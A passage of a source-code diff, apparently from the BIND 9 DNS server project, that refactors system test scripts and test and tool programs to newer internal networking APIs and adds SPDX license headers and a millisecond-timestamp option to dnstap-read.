 echo '$INCLUDE "primary.db.signed"' >> primary.db
-$KEYGEN -a rsasha256 -q primary.example > /dev/null 2>&1
-$KEYGEN -a rsasha256 -qfk primary.example > /dev/null 2>&1
+$KEYGEN -a ${DEFAULT_ALGORITHM} -q primary.example > /dev/null 2>&1
+$KEYGEN -a ${DEFAULT_ALGORITHM} -qfk primary.example > /dev/null 2>&1
 $SIGNER -SD -o primary.example primary.db > /dev/null \
     2> signer.err || cat signer.err
 echo '$INCLUDE "soa.db"' > reload.db
diff --git a/bin/tests/system/zonechecks/tests.sh b/bin/tests/system/zonechecks/tests.sh
index d396e396fd..958bfed99a 100644
--- a/bin/tests/system/zonechecks/tests.sh
+++ b/bin/tests/system/zonechecks/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -20,13 +24,13 @@ status=0
 echo_i "checking that we detect a NS which refers to a CNAME"
 if $CHECKZONE . cname.db > cname.out 2>&1
 then
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 else
 	if grep "is a CNAME" cname.out > /dev/null
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 fi
 
@@ -34,13 +38,13 @@ fi
 echo_i "checking that we detect a NS which is below a DNAME"
 if $CHECKZONE . dname.db > dname.out 2>&1
 then
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 else
 	if grep "is below a DNAME" dname.out > /dev/null
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 fi
 
@@ -48,13 +52,13 @@ fi
 echo_i "checking that we detect a NS which has no address records (A/AAAA)"
 if $CHECKZONE . noaddress.db > noaddress.out
 then
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 else
 	if grep "has no address records" noaddress.out > /dev/null
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 fi
 
@@ -62,13 +66,13 @@ fi
 echo_i "checking that we detect a NS which has no records"
 if $CHECKZONE . nxdomain.db > nxdomain.out
 then
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 else
 	if grep "has no address records" noaddress.out > /dev/null
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 fi
 
@@ -76,13 +80,13 @@ fi
 echo_i "checking that we detect a NS which looks like a A record (fail)"
 if $CHECKZONE -n fail . a.db > a.out 2>&1
 then
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 else
 	if grep "appears to be an address" a.out > /dev/null
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 fi
 
@@ -94,10 +98,10 @@ then
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 else
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 fi
 
 #
@@ -106,25 +110,25 @@ if $CHECKZONE -n ignore . a.db > a.out 2>&1
 then
 	if grep "appears to be an address" a.out > /dev/null
 	then
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	else
 		:
 	fi
 else
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 fi
 
 #
 echo_i "checking that we detect a NS which looks like a AAAA record (fail)"
 if $CHECKZONE -n fail . aaaa.db > aaaa.out 2>&1
 then
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 else
 	if grep "appears to be an address" aaaa.out > /dev/null
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 fi
 
@@ -136,10 +140,10 @@ then
 	then
 		:
 	else
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	fi
 else
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 fi
 
 #
@@ -148,17 +152,17 @@ if $CHECKZONE -n ignore . aaaa.db > aaaa.out 2>&1
 then
 	if grep "appears to be an address" aaaa.out > /dev/null
 	then
-		echo_i "failed (message)"; status=`expr $status + 1`
+		echo_i "failed (message)"; status=$((status + 1))
 	else
 		:
 	fi
 else
-	echo_i "failed (status)"; status=`expr $status + 1`
+	echo_i "failed (status)"; status=$((status + 1))
 fi
 
 #
 echo_i "checking 'rdnc zonestatus' output"
-ret=0 
+ret=0
 for i in 0 1 2 3 4 5 6 7 8 9
 do
 	$RNDCCMD 10.53.0.1 zonestatus primary.example > rndc.out.pri 2>&1
@@ -230,25 +234,25 @@ $RNDCCMD 10.53.0.1 zonestatus reload.example > rndc.out.removeinclude 2>&1
 checkfor "files: reload.db$" rndc.out.removeinclude
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking 'rdnc zonestatus' with duplicated zone name"
-ret=0 
-$RNDCCMD 10.53.0.1 zonestatus duplicate.example > rndc.out.duplicate 2>&1
+ret=0
+$RNDCCMD 10.53.0.1 zonestatus duplicate.example > rndc.out.duplicate 2>&1 && ret=1
 checkfor "zone 'duplicate.example' was found in multiple views" rndc.out.duplicate
-$RNDCCMD 10.53.0.1 zonestatus duplicate.example in primary > rndc.out.duplicate 2>&1
+$RNDCCMD 10.53.0.1 zonestatus duplicate.example in primary > rndc.out.duplicate 2>&1 || ret=1
 checkfor "name: duplicate.example" rndc.out.duplicate
-$RNDCCMD 10.53.0.1 zonestatus nosuchzone.example > rndc.out.duplicate 2>&1
+$RNDCCMD 10.53.0.1 zonestatus nosuchzone.example > rndc.out.duplicate 2>&1 && ret=1
 checkfor "no matching zone 'nosuchzone.example' in any view" rndc.out.duplicate
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking 'rdnc zonestatus' with big serial value"
 ret=0
 $RNDCCMD 10.53.0.1 zonestatus bigserial.example > rndc.out.bigserial 2>&1
 checkfor "serial: 3003113544" rndc.out.bigserial
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/zonechecks/tests_sh_zonechecks.py b/bin/tests/system/zonechecks/tests_sh_zonechecks.py
new file mode 100644
index 0000000000..28a7bb1c95
--- /dev/null
+++ b/bin/tests/system/zonechecks/tests_sh_zonechecks.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_zonechecks(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/test_client.c b/bin/tests/test_client.c
index 422b3f8115..872651cd69 100644
--- a/bin/tests/test_client.c
+++ b/bin/tests/test_client.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -23,18 +25,16 @@
 #include <sys/types.h>
 #include <unistd.h>
 
+#include <isc/loop.h>
 #include <isc/managers.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
 #include <isc/netmgr.h>
 #include <isc/os.h>
-#include <isc/print.h>
 #include <isc/sockaddr.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#define DEFAULT_DOH_PATH "/dns-query"
-
 typedef enum {
 	UDP,
 	TCP,
@@ -51,6 +51,7 @@ static const char *protocols[] = { "udp",	    "tcp",
 				   "http-plain-get" };
 
 static isc_mem_t *mctx = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
 static isc_nm_t *netmgr = NULL;
 
 static protocol_t protocol;
@@ -232,7 +233,7 @@ parse_options(int argc, char **argv) {
 			break;
 
 		default:
-			INSIST(0);
+			UNREACHABLE();
 		}
 	}
 
@@ -283,32 +284,9 @@ parse_options(int argc, char **argv) {
 	printf(" to %s, %d workers\n", buf, workers);
 }
 
-static void
-_signal(int sig, void (*handler)(int)) {
-	struct sigaction sa = { .sa_handler = handler };
-
-	RUNTIME_CHECK(sigfillset(&sa.sa_mask) == 0);
-	RUNTIME_CHECK(sigaction(sig, &sa, NULL) >= 0);
-}
-
 static void
 setup(void) {
-	sigset_t sset;
-
-	_signal(SIGPIPE, SIG_IGN);
-	_signal(SIGHUP, SIG_DFL);
-	_signal(SIGTERM, SIG_DFL);
-	_signal(SIGINT, SIG_DFL);
-
-	RUNTIME_CHECK(sigemptyset(&sset) == 0);
-	RUNTIME_CHECK(sigaddset(&sset, SIGHUP) == 0);
-	RUNTIME_CHECK(sigaddset(&sset, SIGINT) == 0);
-	RUNTIME_CHECK(sigaddset(&sset, SIGTERM) == 0);
-	RUNTIME_CHECK(pthread_sigmask(SIG_BLOCK, &sset, NULL) == 0);
-
-	isc_mem_create(&mctx);
-
-	isc_managers_create(mctx, workers, 0, 0, &netmgr, NULL, NULL, NULL);
+	isc_managers_create(&mctx, workers, &loopmgr, &netmgr);
 }
 
 static void
@@ -317,11 +295,11 @@ teardown(void) {
 		close(out);
 	}
 
-	isc_managers_destroy(&netmgr, NULL, NULL, NULL);
-	isc_mem_destroy(&mctx);
 	if (tls_ctx) {
 		isc_tlsctx_free(&tls_ctx);
 	}
+
+	isc_managers_destroy(&mctx, &loopmgr, &netmgr);
 }
 
 static void
@@ -392,51 +370,27 @@ connect_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
 	isc_nm_send(handle, &message, send_cb, NULL);
 }
 
-static void
-sockaddr_to_url(isc_sockaddr_t *sa, const bool https, char *outbuf,
-		size_t outbuf_len, const char *append) {
-	uint16_t sa_port;
-	char saddr[INET6_ADDRSTRLEN] = { 0 };
-	int sa_family;
-
-	if (sa == NULL || outbuf == NULL || outbuf_len == 0) {
-		return;
-	}
-
-	sa_family = ((struct sockaddr *)&sa->type.sa)->sa_family;
-
-	sa_port = ntohs(sa_family == AF_INET ? sa->type.sin.sin_port
-					     : sa->type.sin6.sin6_port);
-	inet_ntop(sa_family,
-		  sa_family == AF_INET
-			  ? (struct sockaddr *)&sa->type.sin.sin_addr
-			  : (struct sockaddr *)&sa->type.sin6.sin6_addr,
-		  saddr, sizeof(saddr));
-
-	snprintf(outbuf, outbuf_len, "%s://%s%s%s:%u%s",
-		 https ? "https" : "http", sa_family == AF_INET ? "" : "[",
-		 saddr, sa_family == AF_INET ? "" : "]", sa_port,
-		 append ? append : "");
-}
-
 static void
 run(void) {
 	switch (protocol) {
 	case UDP:
 		isc_nm_udpconnect(netmgr, &sockaddr_local, &sockaddr_remote,
-				  connect_cb, NULL, timeout, 0);
+				  connect_cb, NULL, timeout);
 		break;
 	case TCP:
-		isc_nm_tcpdnsconnect(netmgr, &sockaddr_local, &sockaddr_remote,
-				     connect_cb, NULL, timeout, 0);
+		isc_nm_streamdnsconnect(netmgr, &sockaddr_local,
+					&sockaddr_remote, connect_cb, NULL,
+					timeout, NULL, NULL);
 		break;
 	case DOT: {
 		isc_tlsctx_createclient(&tls_ctx);
 
-		isc_nm_tlsdnsconnect(netmgr, &sockaddr_local, &sockaddr_remote,
-				     connect_cb, NULL, timeout, 0, tls_ctx);
+		isc_nm_streamdnsconnect(netmgr, &sockaddr_local,
+					&sockaddr_remote, connect_cb, NULL,
+					timeout, tls_ctx, NULL);
 		break;
 	}
+#if HAVE_LIBNGHTTP2
 	case HTTP_GET:
 	case HTTPS_GET:
 	case HTTPS_POST:
@@ -446,18 +400,19 @@ run(void) {
 		bool is_post = (protocol == HTTPS_POST ||
 				protocol == HTTP_POST);
 		char req_url[256];
-		sockaddr_to_url(&sockaddr_remote, is_https, req_url,
-				sizeof(req_url), DEFAULT_DOH_PATH);
+		isc_nm_http_makeuri(is_https, &sockaddr_remote, NULL, 0,
+				    ISC_NM_HTTP_DEFAULT_PATH, req_url,
+				    sizeof(req_url));
 		if (is_https) {
 			isc_tlsctx_createclient(&tls_ctx);
 		}
 		isc_nm_httpconnect(netmgr, &sockaddr_local, &sockaddr_remote,
 				   req_url, is_post, connect_cb, NULL, tls_ctx,
-				   timeout, 0);
+				   NULL, timeout);
 	} break;
+#endif
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	waitforsignal();
diff --git a/bin/tests/test_server.c b/bin/tests/test_server.c
index 01d49d9188..6186a7a2a0 100644
--- a/bin/tests/test_server.c
+++ b/bin/tests/test_server.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -26,19 +28,18 @@
 #include <isc/string.h>
 #include <isc/util.h>
 
-#define DEFAULT_DOH_PATH "/dns-query"
-
 typedef enum { UDP, TCP, DOT, HTTPS, HTTP } protocol_t;
 
 static const char *protocols[] = { "udp", "tcp", "dot", "https", "http-plain" };
 
 static isc_mem_t *mctx = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
 static isc_nm_t *netmgr = NULL;
 
 static protocol_t protocol;
 static in_port_t port;
 static isc_netaddr_t netaddr;
-static isc_sockaddr_t sockaddr __attribute__((unused));
+static isc_sockaddr_t sockaddr ISC_ATTR_UNUSED;
 static int workers;
 
 static isc_tlsctx_t *tls_ctx = NULL;
@@ -152,7 +153,7 @@ parse_options(int argc, char **argv) {
 			break;
 
 		default:
-			INSIST(0);
+			UNREACHABLE();
 		}
 	}
 
@@ -164,45 +165,22 @@ parse_options(int argc, char **argv) {
 	       workers);
 }
 
-static void
-_signal(int sig, void (*handler)(int)) {
-	struct sigaction sa = { .sa_handler = handler };
-
-	RUNTIME_CHECK(sigfillset(&sa.sa_mask) == 0);
-	RUNTIME_CHECK(sigaction(sig, &sa, NULL) >= 0);
-}
-
 static void
 setup(void) {
-	sigset_t sset;
-
-	_signal(SIGPIPE, SIG_IGN);
-	_signal(SIGHUP, SIG_DFL);
-	_signal(SIGTERM, SIG_DFL);
-	_signal(SIGINT, SIG_DFL);
-
-	RUNTIME_CHECK(sigemptyset(&sset) == 0);
-	RUNTIME_CHECK(sigaddset(&sset, SIGHUP) == 0);
-	RUNTIME_CHECK(sigaddset(&sset, SIGINT) == 0);
-	RUNTIME_CHECK(sigaddset(&sset, SIGTERM) == 0);
-	RUNTIME_CHECK(pthread_sigmask(SIG_BLOCK, &sset, NULL) == 0);
-
-	isc_mem_create(&mctx);
-
-	isc_managers_create(mctx, workers, 0, 0, &netmgr, NULL, NULL, NULL);
+	isc_managers_create(&mctx, workers, &loopmgr, &netmgr);
 }
 
 static void
 teardown(void) {
-	isc_managers_destroy(&netmgr, NULL, NULL, NULL);
-	isc_mem_destroy(&mctx);
 	if (tls_ctx) {
 		isc_tlsctx_free(&tls_ctx);
 	}
+
+	isc_managers_destroy(&mctx, &loopmgr, &netmgr);
 }
 
 static void
-yield(void) {
+test_server_yield(void) {
 	sigset_t sset;
 	int sig;
 
@@ -266,42 +244,48 @@ run(void) {
 
 	switch (protocol) {
 	case UDP:
-		result = isc_nm_listenudp(netmgr, &sockaddr, read_cb, NULL, 0,
-					  &sock);
+		result = isc_nm_listenudp(netmgr, ISC_NM_LISTEN_ALL, &sockaddr,
+					  read_cb, NULL, &sock);
 		break;
 	case TCP:
-		result = isc_nm_listentcpdns(netmgr, &sockaddr, read_cb, NULL,
-					     accept_cb, NULL, 0, 0, NULL,
-					     &sock);
+		result = isc_nm_listenstreamdns(
+			netmgr, ISC_NM_LISTEN_ALL, &sockaddr, read_cb, NULL,
+			accept_cb, NULL, 0, NULL, NULL, &sock);
 		break;
 	case DOT: {
 		isc_tlsctx_createserver(NULL, NULL, &tls_ctx);
 
-		result = isc_nm_listentlsdns(netmgr, &sockaddr, read_cb, NULL,
-					     accept_cb, NULL, 0, 0, NULL,
-					     tls_ctx, &sock);
+		result = isc_nm_listenstreamdns(
+			netmgr, ISC_NM_LISTEN_ALL, &sockaddr, read_cb, NULL,
+			accept_cb, NULL, 0, NULL, tls_ctx, &sock);
 		break;
 	}
+#if HAVE_LIBNGHTTP2
 	case HTTPS:
 	case HTTP: {
 		bool is_https = protocol == HTTPS;
+		isc_nm_http_endpoints_t *eps = NULL;
 		if (is_https) {
 			isc_tlsctx_createserver(NULL, NULL, &tls_ctx);
 		}
-		result = isc_nm_listenhttp(netmgr, &sockaddr, 0, NULL, tls_ctx,
-					   &sock);
+		eps = isc_nm_http_endpoints_new(mctx);
+		result = isc_nm_http_endpoints_add(
+			eps, ISC_NM_HTTP_DEFAULT_PATH, read_cb, NULL);
+
 		if (result == ISC_R_SUCCESS) {
-			result = isc_nm_http_endpoint(sock, DEFAULT_DOH_PATH,
-						      read_cb, NULL, 0);
+			result = isc_nm_listenhttp(netmgr, ISC_NM_LISTEN_ALL,
+						   &sockaddr, 0, NULL, tls_ctx,
+						   eps, 0, &sock);
 		}
+		isc_nm_http_endpoints_detach(&eps);
 	} break;
+#endif
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	REQUIRE(result == ISC_R_SUCCESS);
 
-	yield();
+	test_server_yield();
 
 	isc_nm_stoplistening(sock);
 	isc_nmsocket_close(&sock);
diff --git a/bin/tests/wire_test.c b/bin/tests/wire_test.c
index ef86a1e7c5..6a052b0212 100644
--- a/bin/tests/wire_test.c
+++ b/bin/tests/wire_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,12 +19,11 @@
 #include <isc/commandline.h>
 #include <isc/file.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/message.h>
-#include <dns/result.h>
 
 int parseflags = 0;
 isc_mem_t *mctx = NULL;
@@ -35,10 +36,10 @@ process_message(isc_buffer_t *source);
 static isc_result_t
 printmessage(dns_message_t *msg);
 
-static inline void
+static void
 CHECKRESULT(isc_result_t result, const char *msg) {
 	if (result != ISC_R_SUCCESS) {
-		printf("%s: %s\n", msg, dns_result_totext(result));
+		printf("%s: %s\n", msg, isc_result_totext(result));
 
 		exit(1);
 	}
@@ -56,7 +57,6 @@ fromhex(char c) {
 
 	fprintf(stderr, "bad input format: %02x\n", c);
 	exit(3);
-	/* NOTREACHED */
 }
 
 static void
@@ -130,12 +130,6 @@ main(int argc, char *argv[]) {
 			{
 				isc_mem_debugging |= ISC_MEM_DEBUGUSAGE;
 			}
-			if (strcasecmp(isc_commandline_argument, "size") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGSIZE;
-			}
-			if (strcasecmp(isc_commandline_argument, "mctx") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGCTX;
-			}
 			break;
 		default:
 			break;
@@ -191,7 +185,7 @@ main(int argc, char *argv[]) {
 
 	if (rawdata) {
 		while (fread(&c, 1, 1, f) != 0) {
-			result = isc_buffer_reserve(&input, 1);
+			result = isc_buffer_reserve(input, 1);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			isc_buffer_putuint8(input, (uint8_t)c);
 		}
@@ -207,7 +201,8 @@ main(int argc, char *argv[]) {
 					break;
 				}
 				if (*rp != ' ' && *rp != '\t' && *rp != '\r' &&
-				    *rp != '\n') {
+				    *rp != '\n')
+				{
 					*wp++ = *rp;
 					len++;
 				}
@@ -227,7 +222,7 @@ main(int argc, char *argv[]) {
 				c = fromhex(*rp++);
 				c *= 16;
 				c += fromhex(*rp++);
-				result = isc_buffer_reserve(&input, 1);
+				result = isc_buffer_reserve(input, 1);
 				RUNTIME_CHECK(result == ISC_R_SUCCESS);
 				isc_buffer_putuint8(input, (uint8_t)c);
 			}
@@ -308,8 +303,7 @@ process_message(isc_buffer_t *source) {
 			message->counts[i] = 0; /* Another hack XXX */
 		}
 
-		result = dns_compress_init(&cctx, -1, mctx);
-		CHECKRESULT(result, "dns_compress_init() failed");
+		dns_compress_init(&cctx, mctx, 0);
 
 		result = dns_message_renderbegin(message, &cctx, &buffer);
 		CHECKRESULT(result, "dns_message_renderbegin() failed");
diff --git a/bin/tools/Makefile.am b/bin/tools/Makefile.am
index ff9bef39e9..0df1c7409b 100644
--- a/bin/tools/Makefile.am
+++ b/bin/tools/Makefile.am
@@ -4,7 +4,7 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)
 
-LDADD =				\
+LDADD +=			\
 	$(LIBDNS_LIBS)		\
 	$(LIBISC_LIBS)
 
@@ -18,16 +18,6 @@ bin_PROGRAMS =			\
 arpaname_LDADD =		\
 	$(LIBISC_LIBS)
 
-mdig_CPPFLAGS =			\
-	$(AM_CPPFLAGS)		\
-	$(LIBBIND9_CFLAGS)
-
-mdig_LDADD =			\
-	$(LIBBIND9_LIBS)	\
-	$(LIBISCCFG_LIBS)	\
-	$(LIBDNS_LIBS)		\
-	$(LIBISC_LIBS)
-
 if HAVE_DNSTAP
 bin_PROGRAMS +=			\
 	dnstap-read
@@ -47,7 +37,7 @@ if HAVE_LMDB
 bin_PROGRAMS +=			\
 	named-nzd2nzf
 
-named_nzd2nzf_CFLAGS =		\
+named_nzd2nzf_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
 	$(LMDB_CFLAGS)
 
diff --git a/bin/tools/arpaname.c b/bin/tools/arpaname.c
index 6810e84ffe..4ccf5f9c53 100644
--- a/bin/tools/arpaname.c
+++ b/bin/tools/arpaname.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,7 +14,6 @@
 #include <stdio.h>
 
 #include <isc/net.h>
-#include <isc/print.h>
 
 #define UNUSED(x) (void)(x)
 
diff --git a/bin/tools/arpaname.rst b/bin/tools/arpaname.rst
index 36e0297b96..00ed8977f7 100644
--- a/bin/tools/arpaname.rst
+++ b/bin/tools/arpaname.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: arpaname
+.. program:: arpaname
 .. _man_arpaname:
 
 arpaname - translate IP addresses to the corresponding ARPA names
@@ -34,7 +26,7 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``arpaname`` translates IP addresses (IPv4 and IPv6) to the
+:program:`arpaname` translates IP addresses (IPv4 and IPv6) to the
 corresponding IN-ADDR.ARPA or IP6.ARPA names.
 
 See Also
diff --git a/bin/tools/dnstap-read.c b/bin/tools/dnstap-read.c
index 5b15fa8153..bc5f69d370 100644
--- a/bin/tools/dnstap-read.c
+++ b/bin/tools/dnstap-read.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -38,7 +40,7 @@
 #include <isc/commandline.h>
 #include <isc/hex.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -47,7 +49,6 @@
 #include <dns/masterdump.h>
 #include <dns/message.h>
 #include <dns/name.h>
-#include <dns/result.h>
 
 #include "dnstap.pb-c.h"
 
@@ -56,6 +57,7 @@ bool memrecord = false;
 bool printmessage = false;
 bool hexmessage = false;
 bool yaml = false;
+bool timestampmillis = false;
 
 const char *program = "dnstap-read";
 
@@ -69,7 +71,7 @@ const char *program = "dnstap-read";
 		}                                                     \
 	} while (0)
 
-ISC_NORETURN static void
+noreturn static void
 fatal(const char *format, ...);
 
 static void
@@ -89,6 +91,8 @@ usage(void) {
 	fprintf(stderr, "dnstap-read [-mpxy] [filename]\n");
 	fprintf(stderr, "\t-m\ttrace memory allocations\n");
 	fprintf(stderr, "\t-p\tprint the full DNS message\n");
+	fprintf(stderr,
+		"\t-t\tprint long timestamps with millisecond precision\n");
 	fprintf(stderr, "\t-x\tuse hex format to print DNS message\n");
 	fprintf(stderr, "\t-y\tprint YAML format (implies -p)\n");
 }
@@ -155,7 +159,7 @@ print_packet(dns_dtdata_t *dt, const dns_master_style_t *style) {
 		}
 
 		for (;;) {
-			isc_buffer_reserve(&b, textlen);
+			isc_buffer_reserve(b, textlen);
 			if (b == NULL) {
 				fatal("out of memory");
 			}
@@ -230,13 +234,21 @@ print_yaml(dns_dtdata_t *dt) {
 
 	if (!isc_time_isepoch(&dt->qtime)) {
 		char buf[100];
-		isc_time_formatISO8601(&dt->qtime, buf, sizeof(buf));
+		if (timestampmillis) {
+			isc_time_formatISO8601ms(&dt->qtime, buf, sizeof(buf));
+		} else {
+			isc_time_formatISO8601(&dt->qtime, buf, sizeof(buf));
+		}
 		printf("  query_time: !!timestamp %s\n", buf);
 	}
 
 	if (!isc_time_isepoch(&dt->rtime)) {
 		char buf[100];
-		isc_time_formatISO8601(&dt->rtime, buf, sizeof(buf));
+		if (timestampmillis) {
+			isc_time_formatISO8601ms(&dt->rtime, buf, sizeof(buf));
+		} else {
+			isc_time_formatISO8601(&dt->rtime, buf, sizeof(buf));
+		}
 		printf("  response_time: !!timestamp %s\n", buf);
 	}
 
@@ -264,7 +276,7 @@ print_yaml(dns_dtdata_t *dt) {
 
 		(void)inet_ntop(ip->len == 4 ? AF_INET : AF_INET6, ip->data,
 				buf, sizeof(buf));
-		printf("  query_address: %s\n", buf);
+		printf("  query_address: \"%s\"\n", buf);
 	}
 
 	if (m->has_response_address) {
@@ -273,7 +285,7 @@ print_yaml(dns_dtdata_t *dt) {
 
 		(void)inet_ntop(ip->len == 4 ? AF_INET : AF_INET6, ip->data,
 				buf, sizeof(buf));
-		printf("  response_address: %s\n", buf);
+		printf("  response_address: \"%s\"\n", buf);
 	}
 
 	if (m->has_query_port) {
@@ -289,15 +301,14 @@ print_yaml(dns_dtdata_t *dt) {
 		dns_fixedname_t fn;
 		dns_name_t *name;
 		isc_buffer_t b;
-		dns_decompress_t dctx;
 
 		name = dns_fixedname_initname(&fn);
 
 		isc_buffer_init(&b, m->query_zone.data, m->query_zone.len);
 		isc_buffer_add(&b, m->query_zone.len);
 
-		dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_NONE);
-		result = dns_name_fromwire(name, &b, &dctx, 0, NULL);
+		result = dns_name_fromwire(name, &b, DNS_DECOMPRESS_NEVER,
+					   NULL);
 		if (result == ISC_R_SUCCESS) {
 			printf("  query_zone: ");
 			dns_name_print(name, stdout);
@@ -330,7 +341,7 @@ main(int argc, char *argv[]) {
 	dns_dthandle_t *handle = NULL;
 	int rv = 0, ch;
 
-	while ((ch = isc_commandline_parse(argc, argv, "mpxy")) != -1) {
